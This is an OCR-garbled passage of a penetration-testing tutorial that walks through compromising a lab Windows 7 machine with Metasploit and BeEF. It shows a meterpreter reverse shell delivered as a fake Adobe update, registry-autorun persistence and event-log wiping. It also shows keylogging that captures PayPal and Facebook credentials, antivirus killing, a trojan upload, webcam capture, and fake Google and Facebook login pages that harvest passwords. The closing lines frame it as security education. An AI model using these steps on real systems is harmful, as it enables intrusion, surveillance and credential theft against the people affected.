root@Faisal: ~ e ® O
File Edit View Search Terminal Help

msf payload(reverse_ tcp) > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse tcp
payload == windows/meterpreter/reverse tcp

msf exploit(handler) = set LHOST 192.168.5.128

LHOST == 192.168.5.128

msf exploit(handler) > set LPORT 4444

LPORT == 4444

msf exploit(handler) > exploit

Started reverse TCP handler on 192.168.5.128:4444

Starting the payload handler...

Sending stage (957487 bytes) to 192.168.5.129

Meterpreter session 1 opened (192.168.5.128:4444 -> 192.168.5.129:49167) at 2017-07-15
19:29:34 -0400

meterpreter = sysinfo

Computer : FAISAL

0s : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64

System Language : en US

Domain : WORKGROUP

Logged On Users : 2

Meterpreter : x86/windows

Figure 33: Meterpreter Session and Victim's Machine System information

Here LHOST and LPORT work as a listener IP address and port number. When victims will run
the downloaded file, 1 will be notified by meterpreter session opened. But victim will see that the
Folder Protector is running instead adobe update. We can get the Victims machine system info by
typing “sysinfo”.

We can check any active session or multiple session by typing: “sessions” before “exploit”
command.

If there are multiple sessions we can choose sessions by id. For example: sessions -i 2

Where, -i 2 indicate the interact with session id 2.

Now my goal is to make the attack persistence. If we do not make the attack persistence our
sessions will be died when victims log out or shutdown or restart their machine. So it’s necessary
to make the attack persistence.

Type the following command to check the different persistence options:

run persistence -h

here -h indicates help.
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root@Faisal: ~ e e

File Edit View Search Terminal Help
meterpreter = run persistence -h

Meterpreter scripts are deprecated. Try post/windows/manage/persistence exe.
Example: run post/windows/manage/persistence exe OPTION=value [...]
Meterpreter Script for creating a persistent backdoor on a target host.

OPTIONS:
-A Automatically start a matching exploit/multi/handler to connect to the agent

-L <opt> Location in target host to write payload to, if none %TEMP% will be used.
-P <opt> Payload to use, default is windows/meterpreter/reverse tcp.

-5 Automatically start the agent on boot as a service (with SYSTEM privileges)
-T <opt> Alternate executable template to use

-u Automatically start the agent when the User logs on

-X Automatically start the agent when the system boots

=h This help menu

-1 =<=opt> The interval in seconds between each connection attempt
-p <opt> The port on which the system running Metasploit is listening
-r <opt> The IP of the system running Metasploit listening for the connect back

Figure 34: Persistence attack options

| have typed the following command to make the attack persistence.
run persistence -U -i 5 -r 192.168.5.128 -p 4444

Where, -U indicate the agent (payload session) will automatically start when victims “logs on” on
his machine. -i 5 indicate iterations. -r is the listener IP and -p is the listener port.

root@PFaisal: ~ e ® O
File Edit View Search Terminal Help
meterpreter > run persistence -U -1 5 -r 192.168.5.128 -p 4444

Meterpreter scripts are deprecated. Try post/windows/manage/persistence exe.
Example: run post/windows/manage/persistence exe OPTION=value [...]
[*] Running Persistence Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/FAISAL 20170715.0582/FAISA
L 20170715.0502.rc
[*] Creating Payload=windows/meterpreter/reverse tcp LHOST=192.168.5.128 LPORT=4444
[*] Persistent agent script is 99637 bytes long
Persistent Script written to C:\Users\Faisal\AppData\Local\Temp\WvbGWYxZ.vbs
[#] Executing script C:\Users\Faisal\AppData\Local\Temp\WvbGWYxZ.vbs
Agent executed with PID 1356
[*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ROgHYOCXMygT
Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ROgHYOcXMygT

Figure 35: Make the Attack Persistence

File Edit View Favorites Help

. Policies » | Name Type Data

) EADAR ab) (Default) REG_SZ (value not set)

3 Runo E}_ﬂROgHYOcXMygT REG_SZ C\Users\Faisal\AppData' Local\ Temp\Wvb GWYxZ vbs
, RunOnce

Figure 36: Persistence Attack created a key in the Victim's Machine registry
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4.1Using Meterpreter Commands

We can apply many command using meterpreter. | have discussed few of them.
help

To see complete list of available command in the meterpreter, type: help
meterpreter > help

Is

The “Is” command will list the files in the current remote directory.

cat

It displays the content of a file when it’s given as an argument.

root@Faisal: ~ @ ® O
File Edit Wiew Search Terminal Help
mete}preter > 1s N
Listing: C:\Users\Faisal\wDesktop
Mode Size Type Last modified Name
AT T T/ IwWX rwX rwx 2] dir 2017-07-16 06:35:20 -0400 New fTolder
100777/ rwXrwxrwx 1384448 fil 2017-07-09 05:083:51 -0400 default.exe
100666,/ rw-rw-rw- 282 fil 2017-87-09 P6:53:47 -0400 desktop.ini
100666,/ rw- rw- rw- 52 fil 2017-87-15 00:30:06 -0400 important.txt

meterpreter > cat important.txt
Bank info:
email: faisalcep@yahoo.com

Pass: 4937492meterpreter =
Figure 37: Meterpreter Command: Is and cat
clearev
The “clearev” command will clear the Application, System, and Security logs on a Windows
system.
File Action View Help

o= 2E BB

& (;omputerManagement(Local Level Date and Time Source
a [f} system Tools -
) @ Task Scheduler @Informatlon 71/16/2017 7:19:31 PM LoadPerf
4 [ Event Viewer 'ﬁflnformation 7/16/2017 7:19:31 PM LoadPerf
} ?\F Custom Views '>!<'Information 7/16/2017 7:16:42 PM Security-5PI
a l__ Windows Logs '>!:'Information 7/16/2017 7:14:16 PM WSS
‘.—| Application ';i:'Information 7/16/2017 7:13:00 PM SecurityCen
i Security '\!)Information 7/16/2017 711:42 PM Security-SPI
Setup (i) Information 7/16/2017 7:11:42 PM Security-5PI
i System 'ﬁ:‘Information 7/16/2017 7:11:42 PM Security-5PF
root@Faisal: ~ [— O~ ]
File Edit View Search Terminal Help
meterpreter > clearev -
[*] Wiping 981 records from Application...
[#*] Wiping 3216 records from System...
[*] Wiping 4365 records from Security... B
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edit
The “edit” command opens a file located on the target host. It uses the ‘vim’ so all the editor’s
commands are available.

root@Faisal: ~ e ® O
File Edit View Search Terminal Help
100777/ rwxrwxrwx 1384448 Til 2017-07-09 05:03:51 -0400 default.exe -
100666/ rw-rw- rw- 282 fil 2017-07-09 06:53:47 -0400 desktop.ini
100666,/ rw-rw-rw- 23 fil 2017-07-16 19:36:31 -0400 important.txt I

meterpreter = edit impnrtant.txﬂD
Figure 39: Meterpreter Command: edit

meterp20170716-1204-svi5dt + (/tmp) - VIM e ® O

File Edit View Search Terminal Help
You Have Been Hacked!

-- INSERT -- 2,1 ALl
To save the file in vim editor, press “esc” then type colon “:”, then type “x”, then press enter.

The important.txt in the victim’s machine:

|| important.txt - Notepad

File Edit Format View Help

frou Have Been Hacked! a
ipconfig
The “ipconfig” command displays the network interfaces and addresses on the remote machine.
[ root@Faisal: ~ @ 6 O

File Edit WView Search Terminal Help

meterpreter > ipconfig

Interface 1

Name : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU : 4294967295

IPv4 Address : 127.0.0.1

IPv4 Netmask : 255.0.0.0

IPv6 Address : ::1

IPv6 Netmask : ffff:ffff:ffff:ffff:FfFfff:FFfF:FFFf:FFfFF

Interface 10

MName : Intel(R) PRO/10O® MT Network Connection
Hardware MAC : ©0:0c:29:1d:a8:63
MTU : 1500

IPv4 Address : 192.168.5.129

IPv4 Netmask : 255.255.255.0

IPv6 Address : fe80::flad9:7e7e:eab5a:1

IPv6 MNetmask : ffff:ffff:ffff:Ffff:: I

Figure 40: Meterpreter Command: ipconfig
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keyscan_start
It works as a keylogger. Attacker will know what victim’s is typing.

root@°Faisal: ~

File Edit View Search Terminal Help
meterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter = keyscan dump
Dumping captured keystrokes...

*%

-[ C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

-[ @ Saturday, July 15, 2017 23:54:27 PM UTC
*¥

www . paypal . com<CR>
faisalcep<Right Shift>@yahoo.com234567891

meterpreter = keyscan_dump
Dumping captured keystrokes...

* ¥

-[ C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

-[ @ saturday, July 15, 2017 23:55:35 PM UTC
#*%

facebook<CR>
faisalcep=Right Shift=@yahoo.com4567327

Figure 41 Meterpreter Command: keyscan_start

shell

The “shell” command will present you with a standard shell on the target system.

r

root@Faisal: ~

File Edit Wiew Search Terminal Help

meterpreter = shell

Process 2424 created.

Channel 2 created.

Microsoft Windows [Version 6.1.7681]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32=cd ..
cd ..

C:\Windows=cd ..
cd ..

C:v=dir

dir

Volume in drive C has no label.
Volume Serial Number is DCD2-BA4F

Directory of C:\

07/15/2017 12:30 AM 52 important.txt
e7/13/2009 11:20 PM =DIR=> PerfLogs
@7/02/2017 12:55 AM =DIR=> Program Files
07/08/2017 06:51 AM <DIR> Program Files (x86)
e7/02,/2017 12:52 AM =DIR=> Users
e7/09/2017 06:50 AM =DIR= Windows

1 File(s) 52 bytes

5 Dir(s) 8,534,827,008 bytes free

Figure 42: Meterpreter Command: shell
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download
The “download” command downloads a file from the remote machine. Note the use of the double-
slashes when giving the Windows path.
Press ctrl + ¢ to back to meterpreter
C:\>"C
Terminate channel 27 [y/N] vy
meterpreter > download c:\\important.txt
Downloading: c:\important.txt -> important.txt

Downloaded 52.00 B of 52.00 B (100.0%): c:\important.txt -> important.txt
download rf c:\important.txt -=> important.txt

- _

Figure 43: Download File from Victim's Machine

upload
As with the “download” command, we need to use double-slashes with the upload command.
meterpreter > upload trojan.exe c:\\windows\\system32

webcam_list
Will display currently available web cams on the target host.

webcam_snap

The “webcam_snap” command grabs a picture from a connected web cam on the target system,
and saves it to disc as a JPEG image. By default, the save location is the local current working
directory with a randomized filename.

search
The “search” commands provides a way of locating specific files on the target host. The command
is capable of searching through the whole system or specific folders.

ps
The “’ps” command displays a list of running processes on the target.

killav

The ‘killav’ script can be used to disable most antivirus programs running as a service on a target.
meterpreter > run killav

[*] Killing Antivirus services on the target...

migrate
Using the “migrate” post module, you can migrate to another process on the victim
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4.2 Using BeEF Browser Exploitation Framework

Using BeEF browser exploitation framework we can do 255 different kind of attacks. | am showing
few of them.

Google Phishing: We can send fake google account login page to the victims. When victims will
try to login we will get the victims information.

BeEF Control Panel - Mozilla Firefox e ® 06

o+

nel EJ| & [|Q Search B 3 # =

curity S Kali Linux S Kali Docs “ Kali Tools E}Exploit-DB Wy Aircrack-ng
# peEr 047 O-alpha | Submit Bug | Logout
Getting Started Logs Current Browser
Details Logs Commands Rider XssRays Ipec Network WebRTC
Module Tree Module Results History Google Phishing
h id & | date label Description:  This plugin uses an image tag to XSRF the lngout butten of Gmail. Continuously the user is

FErsEEeE A logged out of Gmail (eg. if he is logged in in another tab). Additionally it will show the Google
» ) Phonegap (16) 0 201071421z command 1 favicon and a Gmail phishing page (although the URL is NOT the Gmail URL)
1 2017-07-142114 command 2

4 =5 Social Engineering (21)

Clickjacking o 3
Fake Lastpass %S5 hook URI: | htip:/10.0.0.0:3000/demos/basic.himl
Lcamtuf Download

@ Ciinpy Gmaillogout | 10000

@ Fake Flash Update

@ Fake Notification Bar (Chrome)
& Fake Notification Bar (Firefox)
& Fake Motification Bar (IE)

& Google Phishing

@ Pretty Theft

@ Replace Videos (Fake Plugin)
& Simple Hijacker

& TabNabbina

interval (ms)

Redirect delay | 1000
(ms):

Figure 44: BeEF Google Phishing Attacker Machine

Google Mail: Email from X

= C | @ Notsecure | 192.168.5.128

Google

Google Mail

A Google approach to email.

Google Mail is built on the idea that email can be more intuitive, efficient, and useful. And maybe even fun

After all, Google Mail has

- Lots of space
Qver 2757.272164 megabytes (and counting) of free storage.

Mobile access
Get Google Mail on your mobile phone. Learn more

Less spam
Keep unwanted messages out of your inbox.

New to Google Mail? E

Sign in Google
Username

faisal

Password

w Stay signed in

Can't access your account?

About Google Mail ~ New features!  Switch to Google Mail ~ Create an account

, Take Google Mail to work with Google Apps for Business

Love Google Mail, but looking for a custom email address for your company?
Get business email, calendar, and online docs @your_company.com. Learn more

Figure 45: BeEF Google Phishing Victims Machine
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surrent Browser
ec MNetwork WebRTC
Module Results History Command results

i... date label 1 Fri Jul 14 2017 21:16:40 GMT-0400 (EDT)
data: result=Username: faisal Password: 1234567
o 2017-07-14 command 1

2112

1 2017-07-14 command 2
2114

Figure 46: Google Phishing, Attacker get the Victims information

Pretty Theft: We can send fake facebook/linkedin/windows/YouTube account login page to the
victims. When victims will try to login we will get the victims information.

anel EJ1| & [|Q Search B8 ¥
scurity S Kali Linux & Kali Docs & Kali Tools EBExploit-DB W Aircrack-ng

* BeEF 0.4.70-alpha | Submit B

Getting Started Logs Current Browser

Deetails Logs Commands Rider XssRays Ipec Network WebRTC

Module Tree Module Results History Pretty Theft
Search i... date label Description:  Asks the user for their username and password using a floating div.
T FETSISTENCE (1)
~| 0 2017-07-14  command 1
> [ Phonegap (16) 21:00 Id: 20
4 3 Social Engineering (21) 1 2017-07-14 command2 ) ]
Clickjacking 2117 Dialog Type: ¥
Fake LastPass Backing: Facebook
Lcamtuf Download Linkedin
Clippy Custom Logo i
- Fake Flash Updat (Generic only): | Windows
@ Fake Flas te
YouTube
) Fake Notification Bar {Chrome)
& Eake Notfication Bar (Firefox) Yammer
@ Fake Notfication Bar (IE) 108
& Google Phishing Generic
 Pretty Theft

 Replace Videos (Fake Plugin)
& Simple Hiacker
@ TabNabbing

Figure 47: Pretty Theft: Attacker can send fake login pages
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[*] Adobe Flash Update x

& 3 C | ® Notsecure | 192.168.5.128

Your sassion has timed out due to inactivity.

Pleass re-enter your username and password ta login.

Email: fasial@yahoo.com

Figure 48: Pretty Theft: Fake Facebook login

ﬁ BeEF 0.4.7.0-alpha | Submit Bug | Logout
Current Browser
iRays Ipec Netwark WebRTC

Module Results History Command resulis =

i date label il FriJul 14 2017 21:21:18 GMT-0400 (EDT)
data: answer=fasial@yahoo.com: 1234567
O 2017-07-14 command 1

21.09

1 2017-07-14 command 2
2117

2 2017-07-14 command 3
21:19

Figure 49: Pretty Theft: Attacker get the Victims Facebook login information
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Redirect Browser: We can redirect the victim’s browser to different pages we want.

| BeEF Control Panel x | +

BeEF Control Panel - Mozilla Firefox e ® 0

€ | (| 192.168.5.128:3000/ui/panel EJ(110% | ¢ ||Q Search B ¥ @ =

[ Most Visitedv [llOffensive Security S Kali Linux & Kali Docs % Kali Tools EBExploit-DB Wy Aircrack-ng

# BeEF 0.4.7.0-alpha | Submit Bug | Logout

Hooked Browsers Getting Started Logs Current Browser

4 ] Online Browsers

47192.1685.128 Details Logs || Commands Rider || XssRays Ipec MNetwork || WebRTC

7 #™ 1921685120 Module Tree Module Results History Redirect Browser

4 < Offline Browsers

redirect i.. date label Description:  This module will redirect the selected hooked browser to the

43127001 address specified in the 'Redirect URL' input.

? D% o1a7001

7 D e192.1685.120 . °

4 ] Browser (3)
4 ] Hooked Domain (3)
& Redirect Browser
. Redirect Browser (Rickrc
 Redirect Browser (iFrami
4 ) Debug (1)
_ TestHTTP Redirect

Redirect URL: | https:/swww.offensive-security.com/

Figure 50: BeEF, Attacker can Redirect Victims to different pages

Conclusion
Like many security tools, the Metasploit framework and BeEF browser exploitation has great potential

with some of the features that have been presented. But again like many security tools there is the

possibility of misuse. It is up to the individual end user to decide how it will be used. The bad guys already

possess the tools capable of doing what is now possible with the Metasploit and BeEF browser framework.

Security practitioners need to know how those same bad guys might attack and what is possible.
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